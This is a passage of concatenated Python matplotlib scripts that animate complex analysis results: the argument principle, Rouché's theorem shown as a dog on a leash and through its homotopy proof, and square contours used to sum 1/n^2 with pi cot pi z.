    st = state(k); live.extend(left_panel(axl, st))
    n = int(st["s"] * NT); tu = turns(st["pts"]); x = np.linspace(0, 1, NT + 1)
    if STORY == "merge" and st["ph"] != "run":                  # the graph before the slide, faintly
        live.extend(axr.plot(x, turns([(A, st["mz"]), (st["B0"], st["mp"])]), color="0.75", lw=1.4))
    live.extend(axr.plot(x[:n + 1], tu[:n + 1], color="#c96a00", lw=2))
    live.append(axr.scatter([x[n]], [tu[n]], s=40, color="#c96a00", zorder=6))
    show_texts(st, rows, "turns so far: $%.2f$" % (round(tu[n], 2) + 0.0))

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=55)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(110)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""The argument principle (Theorem 31.3), zeros and poles, version 2: the graph of arg f(z) (in turns) as z runs round C: it ends at N - P.
A zero of order m and a pole of order k inside C; the pole slides onto the zero. No zero or pole
of f_t is ever on C, so (1/2 pi i) times the integral of f'/f round C is continuous in t, and it is
an integer, so it is constant: it equals its value after the merge, m - k.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
STORY = "merge"
# Shared part of the argument-principle animations "zeros, poles, and merging them" (make_argm.py pastes it in).
# STORY = "orders": f = (z-a)^m e^{z/3}, m = 1,2,3,-1,-2,-3.  STORY = "merge": a zero and a pole inside C,
# the pole slides onto the zero; the integral (1/2 pi i) of f'/f round C never changes.
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL = "#1f6f78"
A = 0.25 + 0.2j                                            # the zero
Rc = lambda t: 1.55 + 0.15 * np.cos(2 * t) + 0.1 * np.sin(3 * t)          # C: Rc(t) e^{it}
dRc = lambda t: -0.3 * np.sin(2 * t) + 0.3 * np.cos(3 * t)
NT = 600
TH = np.linspace(0, 2 * np.pi, NT + 1)
ZC = Rc(TH) * np.exp(1j * TH)
DZ = (dRc(TH) + 1j * Rc(TH)) * np.exp(1j * TH)
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))


def F(z, pts):                                             # f = e^{z/3} * prod (z-p)^m   (m < 0: a pole)
    w = np.exp(z / 3)
    for p, m in pts:
        w = w * (z - p) ** m
    return w


def integral(pts):                                         # (1/2 pi i) * integral of f'/f round C
    h = 1 / 3 + sum(m / (ZC[:-1] - p) for p, m in pts)
    return (h * DZ[:-1]).sum() * (2 * np.pi / NT) / (2j * np.pi)


def turns(pts):                                            # net change of arg f along C so far, in turns
    ph = np.unwrap(np.angle(F(ZC, pts)))
    return (ph - ph[0]) / (2 * np.pi)


ORD = [1, 2, 3, -1, -2, -3]
EPIS = [(1, -1, -0.8 - 0.45j), (3, -2, 0.75 - 0.6j)]       # (order of the zero, of the pole, start of the pole)
if STORY == "orders":
    SCHED = [(ph, m, i / 29) for m in ORD for ph, n in (("run", 30), ("hold", 9)) for i in range(n)]
else:
    SCHED = [(ph, e, i / (n - 1)) for e in EPIS for ph, n in (("run", 30), ("slide", 58), ("merged", 20))
             for i in range(n)]


def state(k):
    ph, c, p = SCHED[k]
    if STORY == "orders":
        return dict(ph=ph, pts=[(A, c)], s=p if ph == "run" else 1.0, m=c)
    mz, mp, B0 = c
    t = 0.0 if ph == "run" else (ease(p) if ph == "slide" else 1.0)
    b = B0 + (A - B0) * t
    pts = [(A, mz), (b, mp)] if t < 1 else ([(A, mz + mp)] if mz + mp else [])
    return dict(ph=ph, pts=pts, s=p if ph == "run" else 1.0, t=t, b=b, mz=mz, mp=mp, B0=B0)


def power(m):
    return "(z-a)" if m == 1 else "(z-a)^{%d}" % m


def formula(st):
    if STORY == "orders":
        return r"$f(z)=%s\,e^{z/3}$" % power(st["m"])
    mz, mp = st["mz"], st["mp"]
    if st["t"] < 1:
        return r"$f_t(z)=\frac{%s}{%s}\,e^{z/3}$" % (power(mz), "(z-b_t)" if mp == -1 else "(z-b_t)^{%d}" % -mp)
    return r"$f_1(z)=%se^{z/3}$" % (power(mz + mp) + r"\," if mz + mp else "")


def texts(st):
    if STORY == "orders":
        m = st["m"]; k = abs(m); w = "once" if k == 1 else "%d times" % k
        return ((("A zero of order %d" % m) if m > 0 else ("A pole of order %d" % k))
                + ": $f(C)$ winds %s round $0$, %s" % (w, "counterclockwise" if m > 0 else "clockwise"),
                r"$f(z)=%s\,e^{z/3}$: the factor $e^{z/3}$ has no zeros or poles; it changes the shape, not the count"
                % power(m))
    mz, mp = st["mz"], -st["mp"]
    if st["ph"] == "run":
        return ("A zero of order %d and a pole of order %d inside $C$" % (mz, mp),
                r"$\frac{1}{2\pi i}\oint_C\frac{f'}{f}\,dz=N-P=%d-%d=%d$ ?" % (mz, mp, mz - mp))
    if st["ph"] == "slide":
        return ("Slide the pole onto the zero: the integral does not change",
                r"no zero or pole of $f_t$ is ever on $C$, so the integral is continuous in $t$;"
                r" it is an integer (Prop. 27.8), so it is constant")
    return (("Merged: the zero and the pole cancel, " if mz == mp else "Merged: ")
            + r"$f_1=%se^{z/3}$ and the integral is $%d$" % (power(mz - mp) + r"\," if mz != mp else "", mz - mp),
            r"so it was $%d=N-P$ before the slide too: sliding every zero and pole to one point proves (31.2)"
            % (mz - mp))


def left_panel(ax, st, dark=False):
    """C, the zero and the pole, the running point, the path of the pole"""
    live = []
    ec = "white" if dark else "k"
    for p, m in st["pts"]:
        if m > 0:
            live.append(ax.scatter([p.real], [p.imag], s=110, facecolor="none", edgecolor="tab:blue", lw=2.2, zorder=6))
            live.append(ax.text(p.real, p.imag - 0.27, "zero, order %d" % m, color=ec if dark else "tab:blue",
                                ha="center", fontsize=11, zorder=7))
        else:
            live.append(ax.scatter([p.real], [p.imag], s=110, marker="x", color="red", lw=2.6, zorder=6))
            live.append(ax.text(p.real, p.imag - 0.27, "pole, order %d" % -m, color=ec if dark else "red",
                                ha="center", fontsize=11, zorder=7))
    if STORY == "merge" and st["ph"] != "run":
        live.extend(ax.plot([st["B0"].real, A.real], [st["B0"].imag, A.imag], ":", color=ec, lw=1.2))
    if st["s"] < 1:
        z = ZC[int(st["s"] * NT)]
        live.append(ax.scatter([z.real], [z.imag], s=60, color=CCOL if not dark else "white", zorder=8,
                               edgecolor="k"))
    return live


def draw_C(ax, col=CCOL):
    ax.plot(ZC.real, ZC.imag, color=col, lw=2.4)
    for a in (0.12, 0.45, 0.78):
        i = int(a * NT)
        ax.annotate("", xy=(ZC[i + 8].real, ZC[i + 8].imag), xytext=(ZC[i - 8].real, ZC[i - 8].imag),
                    arrowprops=dict(arrowstyle="-|>", color=col, lw=2, mutation_scale=16))
    ax.text(ZC[60].real + 0.12, ZC[60].imag + 0.1, "$C$", color=col, fontsize=14)

fig = plt.figure(figsize=(11.4, 5.9))
title = fig.text(0.5, 0.94, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.884, "", ha="center", fontsize=12, color="0.3")
live = []


def clear():
    while live:
        live.pop().remove()


def show_texts(st, rows, extra):
    t, s = texts(st); title.set_text(t); sub.set_text(s)
    rows[0].set_text(formula(st))
    rows[1].set_text(extra if STORY == "orders" else "$t=%.2f$;  " % st["t"] + extra)
    full = st["s"] >= 1
    rows[2].set_text(r"$\frac{1}{2\pi i}\oint_C\frac{f'(z)}{f(z)}\,dz=%.3f$" % (round(integral(st["pts"]).real, 3) + 0.0)
                     if full else "")

axl = fig.add_axes([0.01, 0.03, 0.42, 0.78]); axl.set_aspect("equal"); axl.axis("off")
axl.set_xlim(-2.0, 2.0); axl.set_ylim(-1.85, 2.0); draw_C(axl)

axr = fig.add_axes([0.48, 0.1, 0.29, 0.66]); axr.tick_params(labelsize=9)
axr.set_xlim(0, 1); axr.set_ylim(-3.4, 3.4); axr.set_yticks(range(-3, 4))
for j in range(-3, 4):
    axr.axhline(j, color="0.88" if j else "0.6", lw=0.8)
axr.set_xlabel("fraction of the way round $C$"); axr.set_ylabel(r"change of $\arg f$, in turns")
rows = [fig.text(0.785, y, "", fontsize=12.5) for y in (0.72, 0.62, 0.52)]


def frame(k):
    clear()
    st = state(k); live.extend(left_panel(axl, st))
    n = int(st["s"] * NT); tu = turns(st["pts"]); x = np.linspace(0, 1, NT + 1)
    if STORY == "merge" and st["ph"] != "run":                  # the graph before the slide, faintly
        live.extend(axr.plot(x, turns([(A, st["mz"]), (st["B0"], st["mp"])]), color="0.75", lw=1.4))
    live.extend(axr.plot(x[:n + 1], tu[:n + 1], color="#c96a00", lw=2))
    live.append(axr.scatter([x[n]], [tu[n]], s=40, color="#c96a00", zorder=6))
    show_texts(st, rows, "turns so far: $%.2f$" % (round(tu[n], 2) + 0.0))

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=55)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(150)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Rouche's theorem (Theorem 31.6), version 1: a dog on a leash.
C is |z| = 2, f(z) = z^4, g(z) = 3 - 6z. As z runs once round C (left), a person walks along f(z) and a dog along
f(z) + g(z) (right); the leash is g(z). On C the leash |g| <= 15 is always shorter than the person's distance
|f| = 16 to the post 0, so the dog never reaches the post, and both go round it the same number of times (4).
By the argument principle (Theorem 31.3, eq. (31.3)) f and f + g have the same number of zeros inside C.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the Rouche animations (make_rouche.py pastes it into each script).
# C: |z| = 2.  f(z) = z^4 (dominant term), g(z) = 3 - 6z;  f + g = z^4 - 6z + 3.  h_t = f + t g.
# (rouche2_homotopy replaces these by a smaller example: |z| = 1, f = z^2, g = z/5 - 1/2.)
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.colors import to_rgb
from itertools import permutations

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL, FCOL, HCOL = "#1f6f78", "#c96a00", "tab:blue", "tab:green"
R, NT = 2.0, 1440
TH = np.linspace(0, 2 * np.pi, NT, endpoint=False)
Z = R * np.exp(1j * TH)                                     # the contour C, counterclockwise
f = lambda z: z ** 4
g = lambda z: 3 - 6 * z
FZ, GZ = f(Z), g(Z)
DF, DG = 4 * Z ** 3, -6 + 0 * Z
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))


def N(t):
    """(1/2 pi i) times the integral of h_t'/h_t round C  (dz = i z dtheta)"""
    return ((DF + t * DG) / (FZ + t * GZ) * Z).mean().real


def roots(t):                                               # the zeros of h_t = z^4 + t(3 - 6z)
    return np.roots([1, 0, 0, -6 * t, 3 * t])


def tracks(t1, n):
    """the zeros of h_t for n values of t in [0, t1], followed continuously"""
    T = np.linspace(0, t1, n); P = [roots(1e-9)]
    for t in T[1:]:
        r = roots(t)
        P.append(min((r[list(p)] for p in permutations(range(len(P[-1])))), key=lambda q: np.abs(q - P[-1]).sum()))
    P[0] = 0 * P[0]
    return T, np.array(P)


live = []


def clear():
    while live:
        live.pop().remove()


def mix(c1, c2, t):
    return tuple((1 - t) * np.array(to_rgb(c1)) + t * np.array(to_rgb(c2)))


def turns(w):                                               # net change of arg w along the path, over 2 pi
    a = np.unwrap(np.angle(w))
    return (a[-1] - a[0]) / (2 * np.pi)


def setup_left(ax):
    lim = 1.35 * R
    ax.set_aspect("equal"); ax.axis("off"); ax.set_xlim(-lim, lim); ax.set_ylim(-lim, lim)
    ax.axhline(0, color="0.88", lw=0.8, zorder=0); ax.axvline(0, color="0.88", lw=0.8, zorder=0)
    ax.plot(np.r_[Z, Z[:1]].real, np.r_[Z, Z[:1]].imag, color=CCOL, lw=2.2)
    for a in (0.3, 2.4, 4.5):
        ax.annotate("", xy=(R * np.cos(a + 0.1), R * np.sin(a + 0.1)), xytext=(R * np.cos(a), R * np.sin(a)),
                    arrowprops=dict(arrowstyle="-|>", color=CCOL, lw=2, mutation_scale=15))
    ax.text(-1.33 * R, -1.28 * R, "$C:\\ |z|=%g$" % R, color=CCOL, fontsize=13)
    ax.scatter([0], [0], s=110, facecolor="none", edgecolor="k", lw=1.5, zorder=5)


def setup_right(ax, lim):
    ax.set_aspect("equal"); ax.set_xlim(-lim, lim); ax.set_ylim(-lim, lim); ax.tick_params(labelsize=9)
    ax.axhline(0, color="0.88", lw=0.8, zorder=0); ax.axvline(0, color="0.88", lw=0.8, zorder=0)
    ax.scatter([0], [0], s=60, color="k", zorder=8)

fig = plt.figure(figsize=(11.4, 5.9))
axl = fig.add_axes([0.0, 0.03, 0.36, 0.76]); setup_left(axl)
title = fig.text(0.5, 0.95, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.885, "", ha="center", fontsize=12, color="0.3")
FM, GM = np.abs(FZ).min(), np.abs(GZ).max()                # 16 and 15: |g| <= 15 < 16 = |f| on C

axr = fig.add_axes([0.37, 0.04, 0.42, 0.75]); setup_right(axr, 34)
info = fig.text(0.805, 0.75, "", fontsize=11.5, va="top", linespacing=1.6)
FH = FZ + GZ
RT = roots(1)
axl.scatter(RT.real, RT.imag, s=45, color="red", zorder=6)
axl.legend(handles=[plt.Line2D([], [], marker="o", ls="", mfc="none", mec="k", ms=10, label=r"zero of $f$ (order $4$)"),
                    plt.Line2D([], [], marker="o", ls="", color="red", label=r"zeros of $f+g$")],
           loc="upper left", fontsize=10.5, frameon=False)
axr.text(1.2, -3.8, "post $0$", fontsize=11)
axr.text(-32, 30, "shaded: where a leash of\nlength $|g(z)|$ can reach", fontsize=10, va="top", color="0.35")
NW = 176
SCHED = list(range(NW + 26))
K = int(round(turns(np.r_[FH, FH[:1]])))


def frame(k):
    clear()
    s = min(k / (NW - 1), 1.0); m = int(round(s * NT))
    i = np.arange(m + 1) % NT
    z, p, d = Z[i], FZ[i], FH[i]
    live.extend(axl.plot(z.real, z.imag, color=CCOL, lw=5, alpha=0.3))
    live.append(axl.scatter([z[-1].real], [z[-1].imag], s=80, color=CCOL, edgecolor="white", zorder=7))
    live.append(axl.text(z[-1].real * 1.13, z[-1].imag * 1.13, "$z$", fontsize=13, ha="center", va="center"))
    live.extend(axr.plot(p.real, p.imag, color=FCOL, lw=1.3, alpha=0.7))
    live.extend(axr.plot(d.real, d.imag, color=HCOL, lw=1.3, alpha=0.8))
    pc, dc, gl = p[-1], d[-1], abs(GZ[i[-1]])
    if k < NW:
        live.append(axr.add_patch(plt.Circle((pc.real, pc.imag), gl, color=HCOL, alpha=0.09, lw=0)))
        live.extend(axr.plot([pc.real, 0], [pc.imag, 0], "--", color="0.45", lw=1))
        live.extend(axr.plot([pc.real, dc.real], [pc.imag, dc.imag], color="saddlebrown", lw=2.4))
        live.append(axr.scatter([pc.real], [pc.imag], s=110, color=FCOL, edgecolor="white", zorder=7))
        live.append(axr.scatter([dc.real], [dc.imag], s=80, color=HCOL, edgecolor="white", zorder=7))
    info.set_text("person to post:\n" + r"$|f(z)|=%.2f$" % abs(pc) + "\nleash:\n" + r"$|g(z)|=%.2f$" % gl
                  + "\n\nturns round $0$\nso far:\n" + r"person $%.2f$" % turns(p) + "\n" + r"dog $%.2f$" % turns(d))
    if k < NW:
        title.set_text(r"Rouché's theorem as a dog on a leash, $C:\ |z|=2$")
        sub.set_text(r"person at $f(z)=z^4$ (blue), dog at $f(z)+g(z)=z^4-6z+3$ (green), leash $g(z)=3-6z$ (brown)")
    else:
        title.set_text(r"Both went round the post $0$ exactly $%d$ times: $f$ and $f+g$ have $%d$ zeros inside $C$" % (K, K))
        sub.set_text(r"The leash $|g|\leq%g$ is always shorter than the distance $|f|=%g$ to the post:"
                     r" the dog never reaches $0$" % (GM, FM))

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=60)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(100)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Rouche's theorem (Theorem 31.6), version 2: the proof in the notes.
C is |z| = 1, f(z) = z^2, g(z) = z/5 - 1/2, h_t = f + t g for 0 <= t <= 1. Left: the two zeros of h_t leave the
double zero of f at 0 and move, but never reach C. Right: the image curve h_t(C) deforms, but on C
|h_t| >= |f| - t|g| >= 1 - 0.7t > 0, so it stays outside the red disc of that radius and never passes through 0.
N(t) = (1/2 pi i) (integral of h_t'/h_t round C) is computed in each frame: an integer (Theorem 31.3),
continuous in t, hence constant: N(1) = N(0) = 2.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the Rouche animations (make_rouche.py pastes it into each script).
# C: |z| = 2.  f(z) = z^4 (dominant term), g(z) = 3 - 6z;  f + g = z^4 - 6z + 3.  h_t = f + t g.
# (rouche2_homotopy replaces these by a smaller example: |z| = 1, f = z^2, g = z/5 - 1/2.)
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.colors import to_rgb
from itertools import permutations

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL, FCOL, HCOL = "#1f6f78", "#c96a00", "tab:blue", "tab:green"
R, NT = 2.0, 1440
TH = np.linspace(0, 2 * np.pi, NT, endpoint=False)
Z = R * np.exp(1j * TH)                                     # the contour C, counterclockwise
f = lambda z: z ** 4
g = lambda z: 3 - 6 * z
FZ, GZ = f(Z), g(Z)
DF, DG = 4 * Z ** 3, -6 + 0 * Z
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))


def N(t):
    """(1/2 pi i) times the integral of h_t'/h_t round C  (dz = i z dtheta)"""
    return ((DF + t * DG) / (FZ + t * GZ) * Z).mean().real


def roots(t):                                               # the zeros of h_t = z^4 + t(3 - 6z)
    return np.roots([1, 0, 0, -6 * t, 3 * t])


def tracks(t1, n):
    """the zeros of h_t for n values of t in [0, t1], followed continuously"""
    T = np.linspace(0, t1, n); P = [roots(1e-9)]
    for t in T[1:]:
        r = roots(t)
        P.append(min((r[list(p)] for p in permutations(range(len(P[-1])))), key=lambda q: np.abs(q - P[-1]).sum()))
    P[0] = 0 * P[0]
    return T, np.array(P)


live = []


def clear():
    while live:
        live.pop().remove()


def mix(c1, c2, t):
    return tuple((1 - t) * np.array(to_rgb(c1)) + t * np.array(to_rgb(c2)))


def turns(w):                                               # net change of arg w along the path, over 2 pi
    a = np.unwrap(np.angle(w))
    return (a[-1] - a[0]) / (2 * np.pi)


def setup_left(ax):
    lim = 1.35 * R
    ax.set_aspect("equal"); ax.axis("off"); ax.set_xlim(-lim, lim); ax.set_ylim(-lim, lim)
    ax.axhline(0, color="0.88", lw=0.8, zorder=0); ax.axvline(0, color="0.88", lw=0.8, zorder=0)
    ax.plot(np.r_[Z, Z[:1]].real, np.r_[Z, Z[:1]].imag, color=CCOL, lw=2.2)
    for a in (0.3, 2.4, 4.5):
        ax.annotate("", xy=(R * np.cos(a + 0.1), R * np.sin(a + 0.1)), xytext=(R * np.cos(a), R * np.sin(a)),
                    arrowprops=dict(arrowstyle="-|>", color=CCOL, lw=2, mutation_scale=15))
    ax.text(-1.33 * R, -1.28 * R, "$C:\\ |z|=%g$" % R, color=CCOL, fontsize=13)
    ax.scatter([0], [0], s=110, facecolor="none", edgecolor="k", lw=1.5, zorder=5)


def setup_right(ax, lim):
    ax.set_aspect("equal"); ax.set_xlim(-lim, lim); ax.set_ylim(-lim, lim); ax.tick_params(labelsize=9)
    ax.axhline(0, color="0.88", lw=0.8, zorder=0); ax.axvline(0, color="0.88", lw=0.8, zorder=0)
    ax.scatter([0], [0], s=60, color="k", zorder=8)

R = 1.0; Z = R * np.exp(1j * TH)                           # a smaller example than version 1
f = lambda z: z ** 2
g = lambda z: z / 5 - 0.5
FZ, GZ, DF, DG = f(Z), g(Z), 2 * Z, 0.2 + 0 * Z
roots = lambda t: np.roots([1, t / 5, -t / 2])

fig = plt.figure(figsize=(11.4, 5.9))
axl = fig.add_axes([0.0, 0.03, 0.36, 0.76]); setup_left(axl)
title = fig.text(0.5, 0.95, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.885, "", ha="center", fontsize=12, color="0.3")
FM, GM = np.abs(FZ).min(), np.abs(GZ).max()                # 16 and 15: |g| <= 15 < 16 = |f| on C

axr = fig.add_axes([0.38, 0.04, 0.42, 0.75]); setup_right(axr, 1.85)
info = fig.text(0.815, 0.7, "", fontsize=13, va="top", linespacing=1.8)
axl.legend(handles=[plt.Line2D([], [], marker="o", ls="", mfc="none", mec="k", ms=10, label=r"zero of $f$ (order $2$)"),
                    plt.Line2D([], [], marker="o", ls="", color="red", label=r"zeros of $h_t$")],
           loc="upper left", fontsize=10.5, frameon=False)
axr.text(-1.8, 1.8, "red disc: radius $\\min_C(|f|-t|g|)$", fontsize=10.5, va="top", color="0.35")
T, P = tracks(1.0, 300)
K = int(round(N(0)))
PH = [("start", 24), ("move", 130), ("hold", 30)]
SCHED = list(range(sum(n for _, n in PH)))
TT = {"start": (r"The proof of Theorem 31.6: $h_t=f+t\,g$ runs from $h_0=f$ to $h_1=f+g$",
                r"$C:\ |z|=1$, $f(z)=z^2$, $g(z)=z/5-1/2$; $h_0(C)$ is the unit circle, run $%d$ times round $0$" % K),
      "move": (r"As $t$ goes from $0$ to $1$ the zeros of $h_t$ move, but never reach $C$",
               r"and $h_t(C)$ deforms, but never passes through $0$: on $C$, $|h_t|\geq|f|-t|g|>0$"),
      "hold": (r"$N(t)$ is an integer and continuous in $t$, so it is constant: $N(1)=N(0)=%d$" % K,
               r"$f+g=z^2+z/5-1/2$ has as many zeros inside $C$ as $f=z^2$")}


def frame(k):
    clear()
    for name, n in PH:
        if k < n:
            break
        k -= n
    t = {"start": 0.0, "move": ease(k / (n - 1)), "hold": 1.0}[name]
    i = int(round(t * (len(T) - 1)))
    for j in range(2):
        live.extend(axl.plot(P[:i + 1, j].real, P[:i + 1, j].imag, color="red", lw=0.8, alpha=0.3))
    live.append(axl.scatter(P[i].real, P[i].imag, s=55, color="red", zorder=6))
    H = np.r_[FZ, FZ[:1]] + t * np.r_[GZ, GZ[:1]]
    rho = (np.abs(FZ) - t * np.abs(GZ)).min()
    live.append(axr.add_patch(plt.Circle((0, 0), rho, color="red", alpha=0.1, lw=0)))
    live.extend(axr.plot(H.real, H.imag, color=mix(FCOL, HCOL, t), lw=2))
    info.set_text(r"$t=%.2f$" % t + "\n\n" + r"$N(t)=\frac{1}{2\pi i}\oint_C\frac{h_t'}{h_t}\,dz$" + "\n" + r"$=%.4f$" % N(t))
    title.set_text(TT[name][0]); sub.set_text(TT[name][1])

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=60)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(110)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Chapter 32 (Lemma 32.2, Example 32.4): the squares S_N with half-integer sides over a map of |pi cot pi z|.
The kernel k = pi cot pi z stays below A = pi coth(pi/2) on every S_N, so (1/2 pi i) oint_{S_N} k/z^2 dz -> 0,
while it always equals sum_{0<|n|<=N} 1/n^2 + Res(k/z^2, 0) (residue theorem). Squares through the poles fail.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
kap = lambda z: np.pi / np.tan(np.pi * z)
A = np.pi / np.tanh(np.pi / 2)
RES0 = -np.pi ** 2 / 3
live = []


def clear():
    while live:
        live.pop().remove()


def sq(s, n=400):
    """the boundary of the square with vertices s(+-1+-i), counterclockwise, sampled"""
    t = np.linspace(-1, 1, n)
    return np.concatenate([s * (1 + 1j * t), s * (-t + 1j), s * (-1 - 1j * t), s * (t - 1j)])


def kmax(s):
    if abs(s - round(s)) < 1e-9:
        return np.inf
    return np.abs(kap(np.r_[sq(s), s, -s])).max()


GX, GW = np.polynomial.legendre.leggauss(10)


def cint(N):
    """(1/2 pi i) oint_{S_N} kappa(z)/z^2 dz by composite Gauss-Legendre (pieces of length <= 1)"""
    s = N + 0.5; m = int(2 * s) + 1; tot = 0
    for a, b in ((s - s * 1j, s + s * 1j), (s + s * 1j, -s + s * 1j), (-s + s * 1j, -s - s * 1j), (-s - s * 1j, s - s * 1j)):
        e = np.linspace(0, 1, m + 1); u = (e[:-1, None] + e[1:, None]) / 2 + np.outer(np.diff(e) / 2, GX)
        z = a + (b - a) * u
        tot += ((kap(z) / z ** 2) * (np.diff(e)[:, None] / 2 * GW)).sum() * (b - a)
    return tot / (2j * np.pi)


psum = lambda N: 2 * (1 / np.arange(1, N + 1) ** 2).sum()
NS = sorted(set(np.r_[1:5, np.round(4 * 50 ** np.linspace(0, 1, 44)).astype(int)]))
IV = {N: cint(N) for N in NS}
for N in NS:     # the residue theorem (32.8 before the limit), checked for every square used
    assert abs(IV[N] - (psum(N) + RES0)) < 1e-10 and kmax(N + 0.5) <= A
LOGK = np.log10(np.abs(kap(np.linspace(-5.2, 5.2, 260)[None, :] + 1j * np.linspace(-0.9, 0.9, 46)[:, None])))

# schedule: (phase, half-side s, N shown in the graph, extra)
SCHED = [("intro", 1.5, 1, 0)] * 24
for N in (1, 2, 3):
    SCHED += [("grow", N + 0.5 + ease(i / 18), N, 0) for i in range(19)] + [("hold", N + 1.5, N + 1, 0)] * 18
SCHED += [("bad", 4.0, 4, 0)] * 24 + [("bad", 4.05, 4, 0)] * 24
I4 = NS.index(4)
SCHED += [("far", 4.5, NS[I4 + int(round(ease(i / 39) * (len(NS) - 1 - I4)))], 0) for i in range(40)] + [("end", 4.5, 200, 0)] * 26

fig = plt.figure(figsize=(7.4, 10.5))
title = fig.text(0.5, 0.945, "", ha="center", va="center", fontsize=13.5)
sub = fig.text(0.5, 0.914, "", ha="center", va="center", fontsize=12, color="0.3")
ax = fig.add_axes([0.21, 0.479, 0.58, 0.41]); ax.set_aspect("equal")
ax.set_xlim(-5.2, 5.2); ax.set_ylim(-5.2, 5.2); ax.tick_params(labelsize=9)
ax.imshow(LOGK, extent=(-5.2, 5.2, -0.9, 0.9), origin="lower", cmap="Greys", vmin=0.2, vmax=1.9, aspect="auto")
ax.set_facecolor(plt.cm.Greys((np.log10(np.pi) - 0.2) / 1.7))    # |kappa| is close to pi off the strip |y|<0.9
ax.axhline(0, color="0.6", lw=0.6); ax.axvline(0, color="0.6", lw=0.6)
ax.scatter(np.arange(-5, 6), 0 * np.arange(-5, 6), s=22, color="red", zorder=5)
fig.text(0.5, 0.447, r"shading: $|\kappa(z)|=|\pi\cot\pi z|$ (dark = large); red dots: the poles $n\in\mathbb{Z}$",
         ha="center", fontsize=10, color="0.35")
L = [[fig.text(x, y, "", fontsize=11.5, va="center") for y in (0.418, 0.387, 0.356, 0.325)] for x in (0.03, 0.36, 0.55, 0.83)]
for T, l in zip(L[2], (r"$\Sigma_{0<|n|\leq N}\,\frac{1}{n^{2}}$", r"$\Sigma+\mathrm{Res}(\frac{\kappa}{z^{2}},0)$",
                       r"bound $\frac{1}{2\pi}\cdot\max|\kappa|\cdot\frac{8}{N+\frac{1}{2}}$", r"$\mathrm{Res}(\frac{\kappa}{z^{2}},0)=-\frac{\pi^{2}}{3}$")):
    T.set_text(l)
fmt = lambda v: ("%.6f" % v).replace("-", "\u2212")
L[0][3].set_text(r"$A=\pi\coth\frac{\pi}{2}$"); L[1][3].set_text("%.4f" % A); L[3][3].set_text(fmt(RES0))
L[0][2].set_text(r"$\frac{1}{2\pi i}\oint_{S_N}\frac{\kappa(z)}{z^{2}}\,dz$")
bx = fig.add_axes([0.12, 0.055, 0.83, 0.235]); bx.set_xscale("log"); bx.set_xlim(0.85, 260); bx.set_ylim(-4.3, 4.4)
bx.tick_params(labelsize=9); bx.set_xlabel("$N$", labelpad=0)
bx.set_xticks([1, 2, 4, 10, 50, 200]); bx.set_xticklabels(["1", "2", "4", "10", "50", "200"]); bx.minorticks_off()
bx.axhline(0, color="0.7", lw=0.8)
bx.axhline(np.pi ** 2 / 3, color="tab:blue", lw=0.9, ls=":")
bx.axhline(RES0, color="red", lw=1.4, ls="--", label=r"$\mathrm{Res}(\kappa/z^{2},0)=-\pi^{2}/3$")
bx.text(240, np.pi ** 2 / 3 + 0.15, r"$\pi^{2}/3$", color="tab:blue", ha="right", va="bottom", fontsize=11)
H = [bx.plot([], [], color=c, lw=2, marker="o", ms=3.5, label=l)[0] for c, l in (
    ("tab:blue", r"$\Sigma_{0<|n|\leq N}1/n^{2}$"), (CCOL, r"$\frac{1}{2\pi i}\oint_{S_N}\kappa/z^{2}\,dz$"),
    (PCOL, r"$-\frac{1}{2\pi}\cdot$ ML bound"))]
H[2].set_marker(""); H[2].set_linestyle("--")
bx.legend(loc="lower right", fontsize=9.5, ncol=2, bbox_to_anchor=(1, 0.08))
NA = np.array(NS)


KM = {N: kmax(N + 0.5) for N in NS}
ML = lambda N: KM[N] * 8 / (N + 0.5)


def square(s, col, ls="-", lw=2.4, lab=None):
    z = sq(s, 2); z = np.r_[z, z[:1]]
    live.extend(ax.plot(z.real, z.imag, color=col, lw=lw, ls=ls, zorder=4))
    if lab:
        live.append(ax.text(s + 0.08, s + 0.08, lab, color=col, fontsize=12, clip_on=False))


def frame(k):
    clear()
    ph, s, N, _ = SCHED[k]
